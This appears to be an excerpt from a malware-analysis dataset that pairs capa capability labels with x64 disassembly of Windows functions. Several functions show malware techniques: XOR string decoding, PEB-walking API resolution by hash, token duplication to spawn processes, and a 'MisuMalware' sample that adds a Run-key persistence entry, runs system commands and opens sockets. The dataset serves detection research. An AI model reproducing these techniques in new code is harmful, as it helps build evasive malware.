joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000495c
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x5b
jb 0x180004963
mov byte [rcx + 0x5f], 0
ret

Function at 0x1800049a4
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x10
mov rax, qword gs:[0x60]
mov ebp, ecx
mov rdx, qword [rax + 0x18]
mov r10, qword [rdx + 0x10]
mov r8, qword [r10 + 0x30]
test r8, r8
je 0x180004a8e
movups xmm0, xmmword [r10 + 0x58]
movsxd rax, dword [r8 + 0x3c]
xor edx, edx
mov r10, qword [r10]
movdqu xmmword [rsp], xmm0
mov r11d, dword [rax + r8 + 0x88]
test r11d, r11d
je 0x1800049cb
mov rax, qword [rsp]
shr rax, 0x10
movzx ecx, ax
test ecx, ecx
je 0x180004a28
mov rax, qword [rsp + 8]
mov r9d, ecx
movsx ecx, byte [rax]
ror edx, 0xd
cmp byte [rax], 0x61
jl 0x180004a1d
add edx, 0xffffffe0
add edx, ecx
inc rax
sub r9, 1
jne 0x180004a0f
lea rdi, [r8 + r11]
mov r9d, dword [rdi + 0x18]
mov eax, dword [rdi + 0x20]
dec r9d
add rax, r8
lea rsi, [rax + r9*4]
jmp 0x180004a67
mov ebx, dword [rsi]
xor r11d, r11d
add rbx, r8
lea rsi, [rsi - 4]
movsx ecx, byte [rbx]
inc rbx
ror r11d, 0xd
add r11d, ecx
test cl, cl
jne 0x180004a4b
lea eax, [r11 + rdx]
cmp eax, ebp
je 0x180004a72
dec r9d
cmp r9d, 1
ja 0x180004a3f
jmp 0x1800049cb
mov eax, dword [rdi + 0x24]
lea ecx, [r9 + r9]
add rax, r8
movzx edx, word [rcx + rax]
mov ecx, dword [rdi + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x180004a90
xor eax, eax
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
add rsp, 0x10
pop rdi
ret
Function at 0x1800069e8
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x37
jb 0x1800069ef
mov byte [rcx + 0x3b], 0
ret

Function at 0x180006a10
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0xf
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180006a1d
mov byte [rcx + 0x13], r11b
ret

Function at 0x180006a40
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x59
jb 0x180006a47
mov byte [rcx + 0x5d], 0
ret

Function at 0x180006a68
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x49
jb 0x180006a6f
mov byte [rcx + 0x4d], 0
ret

Function at 0x180006a90
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x69
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180006a9d
mov byte [rcx + 0x6d], r11b
ret
Function at 0x14000e1c8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140222820]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov rcx, rdx
mov rbx, r8
call qword [sym.imp.Qt5Core.dll_public:_unsigned_short_int_const____ptr64___cdecl_QString::utf16_void_const___ptr64]
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x410
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbx]
cmp dword [r8 + 4], 0
je 0x14000e243
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_unsigned_short_int_const____ptr64___cdecl_QString::utf16_void_const___ptr64]
mov r9, rdi
lea r8, str.__s___s
lea rcx, [rbp]
mov qword [rsp + 0x20], rax
mov edx, 0x410
call fcn.1400040e8
and qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e373
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
and qword [rsp + 0x68], 0
mov r9d, 2
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x20f01ff
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
and qword [rsp + 0x70], 0
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
xor eax, eax
lea rcx, [rbp - 0x70]
xorps xmm0, xmm0
mov qword [rbp - 0x78], rax
xor edx, edx
movups xmmword [rsp + 0x78], xmm0
lea ebx, [rax + 0x70]
mov r8d, ebx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x68]
lea rax, str.winsta0default
mov qword [rbp - 0x60], rax
lea r8, [rbp]
lea rax, [rsp + 0x78]
mov dword [rbp - 0x70], ebx
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
mov rdx, rdi
mov qword [rsp + 0x48], rax
and qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x628
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
setne bl
test eax, eax
je 0x14000e34a
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
test bl, bl
je 0x14000e373
mov al, 1
jmp 0x14000e375
xor al, al
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14001af30
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140010c30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
mov rdx, rcx
je 0x140010c63
xor r8d, r8d
mov cl, r8b
movabs rax, 0x51533f1509c71599
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0xa
jb 0x140010c3c
mov byte [rdx + 0xa], 0
mov rax, rdx
ret
Function at 0x140010c68
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x25], 0
mov rdx, rcx
je 0x140010c9b
xor r8d, r8d
mov cl, r8b
movabs rax, 0x61a7ddf587214d1b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x25
jb 0x140010c74
mov byte [rdx + 0x25], 0
mov rax, rdx
ret

Function at 0x140010ca0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
mov rdx, rcx
je 0x140010cd3
xor r8d, r8d
mov cl, r8b
movabs rax, 0x33936bbb8fbf972b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 5
jb 0x140010cac
mov byte [rdx + 5], 0
mov rax, rdx
ret

Function at 0x140010cd8
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010d0b
xor r8d, r8d
mov cl, r8b
movabs rax, 0xb5e3ff6f79e787bf
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010ce4
mov byte [rdx + 9], 0
mov rax, rdx
ret

Function at 0x140010d10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010d43
xor r8d, r8d
mov cl, r8b
movabs rax, 0x717f5d0f8b9d9be7
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010d1c
mov byte [rdx + 9], 0
mov rax, rdx
ret
Function at 0x14001a640
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push r14
sub rsp, 0x20
call fcn.140016330
mov rdi, qword [0x140223c80]
xor r14d, r14d
mov ebp, r14d
test rdi, rdi
je 0x14001a6de
movsxd rax, dword [rdi + 0x3c]
mov qword [rsp + 0x40], rbx
mov ebx, r14d
mov qword [rsp + 0x48], rsi
mov esi, dword [rax + rdi + 0x88]
add rsi, rdi
cmp dword [rsi + 0x18], ebx
jbe 0x14001a6d4
mov qword [rsp + 0x50], r15
nop word [rax + rax]
mov ecx, dword [rsi + 0x20]
lea rdx, [0x140022878]
add rcx, rdi
mov r15d, ebx
mov ecx, dword [rcx + r15*4]
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14001a6c8
mov ecx, dword [rsi + 0x24]
add rcx, rdi
movzx edx, word [rcx + r15*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rdi
mov ebp, dword [rcx + rdx*4]
add rbp, rdi
inc ebx
cmp ebx, dword [rsi + 0x18]
jb 0x14001a690
mov r15, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
call rbp
test eax, eax
setne r14b
mov eax, r14d
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14001a700
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push r15
sub rsp, 0x20
mov r15, rcx
call fcn.140016330
mov rdi, qword [0x140223c80]
xor ebp, ebp
test rdi, rdi
je 0x14001a79e
movsxd rax, dword [rdi + 0x3c]
mov qword [rsp + 0x40], rbx
mov ebx, ebp
mov qword [rsp + 0x48], rsi
mov esi, dword [rax + rdi + 0x88]
add rsi, rdi
cmp dword [rsi + 0x18], ebx
jbe 0x14001a794
mov qword [rsp + 0x50], r14
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [rsi + 0x20]
lea rdx, [0x140022ae0]
add rcx, rdi
mov r14d, ebx
mov ecx, dword [rcx + r14*4]
add rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14001a788
mov ecx, dword [rsi + 0x24]
add rcx, rdi
movzx edx, word [rcx + r14*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rdi
mov ebp, dword [rcx + rdx*4]
add rbp, rdi
inc ebx
cmp ebx, dword [rsi + 0x18]
jb 0x14001a750
mov r14, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rcx, r15
mov rax, rbp
add rsp, 0x20
pop r15
pop rdi
pop rbp
jmp rax
Function at 0x14001bf50
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x70
xor ebx, ebx
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x14001bf8d
lea rax, [rbx - 1]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
mov eax, dword [rsp + 0x40]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x98], rsi
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0x60], r14
cmovo rax, r15
mov rcx, rax
call fcn.14001b13c
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14001c08c
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0xa0], r12
mov r12, r14
mov qword [rsp + 0x68], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14001b13c
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x40]
inc r14d
cmp r14d, eax
jne 0x14001c000
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x90]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.140003fe0
mov esi, eax
cmp dword [rsp + 0x40], ebx
je 0x14001c0cb
mov rdi, r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001c0cb
call fcn.14001afa8
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jne 0x14001c0b2
mov rcx, r14
call fcn.14001afa8
mov r14, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0x98]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140008730]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140008740]
mov dword [rax], 1
mov rax, qword [0x140008750]
mov dword [rax], 1
mov rax, qword [0x1400086d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140008720]
mov dword [0x14000c020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400087f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400087d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140008670]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001c1d
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x20], rcx
mov rdx, qword [rbp + 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x40]
mov rcx, rax
call method.Utils.getThisFileLocation_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
call method.InstallApplication.isApplicationInstalled__
xor eax, 1
test al, al
je 0x140001c92
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.InstallApplication.installApplication_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x80]
lea rdx, [rbp - 0x60]
lea r8, str._remote_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001d2e
add rsp, 0xa8
pop rbx
pop rbp
ret
Function at 0x140002446
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.mkdir
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140002470
Capabilities:
Query environment variable

Disassembly:
push rbp
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0xd0]
lea rax, [rbp - 0x61]
mov rcx, rax
call fcn.1400036b8
lea rax, str._ProgramFiles_
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp - 0x61]
lea rax, [rbp - 0x90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0xb0]
lea rdx, [rbp - 0x90]
lea r8, str.misumalwareinstalled.lock
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp - 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x61]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
mov esi, 0
mov edi, 0
lea rdx, [rbp - 0xb0]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call method.Files.isExists_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
test al, al
je 0x140002574
lea rdx, [rbp - 0xb0]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov esi, 1
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.Files.read_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov edi, 1
lea rax, [rbp - 0x40]
lea rdx, [0x1400081bb]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140002574
mov r12d, 1
jmp 0x14000257a
mov r12d, 0
test dil, dil
je 0x14000258b
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test sil, sil
je 0x14000259c
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x1400025ac
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test r12b, r12b
je 0x1400025b8
mov ebx, 1
jmp 0x1400025bd
mov ebx, 0
lea rax, [rbp - 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140002659
add rsp, 0xd0
pop rbx
pop rsi
pop rdi
pop r12
pop rbp
ret
Function at 0x140002667
Capabilities:
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.1400036b8
lea rax, str._ProgramFiles_
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp - 0x21]
lea rax, [rbp - 0x50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x70]
lea rdx, [rbp - 0x50]
lea r8, str.misumalware_application.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x21]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x70]
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov r9, rax
mov r8d, 1
lea rax, str.MisuMalware
mov rdx, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, rax
call method.Utils.registryWrite_char_const__char_const__unsigned_long__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002783
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x140002d20
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x150], rcx
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
add rsp, 0x1c0
pop rbp
ret

Function at 0x140002d56
Capabilities:
Resolve dns

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x30], rcx
mov rax, qword [rbp + 0x30]
add rax, 0x10
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x14], 0
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x18], 1
mov rax, qword [rbp + 0x30]
mov dword [rax + 0x1c], 6
mov rsi, qword [rbp + 0x30]
mov rax, qword [rbp + 0x30]
lea rdi, [rax + 0x10]
mov rax, qword [rbp + 0x30]
mov edx, dword [rax + 0x70]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rbx, rax
mov rax, qword [rbp + 0x30]
add rax, 0x50
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp - 4], eax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp dword [rbp - 4], 0
je 0x140002e1e
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140002eb6
mov rax, qword [rbp + 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x30]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 8]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov rdx, qword [rbp + 0x30]
mov qword [rdx + 0x40], rax
mov rax, qword [rbp + 0x30]
mov rax, qword [rax + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x140002e95
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 2
jmp 0x140002eb6
mov eax, 0
jmp 0x140002eb6
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret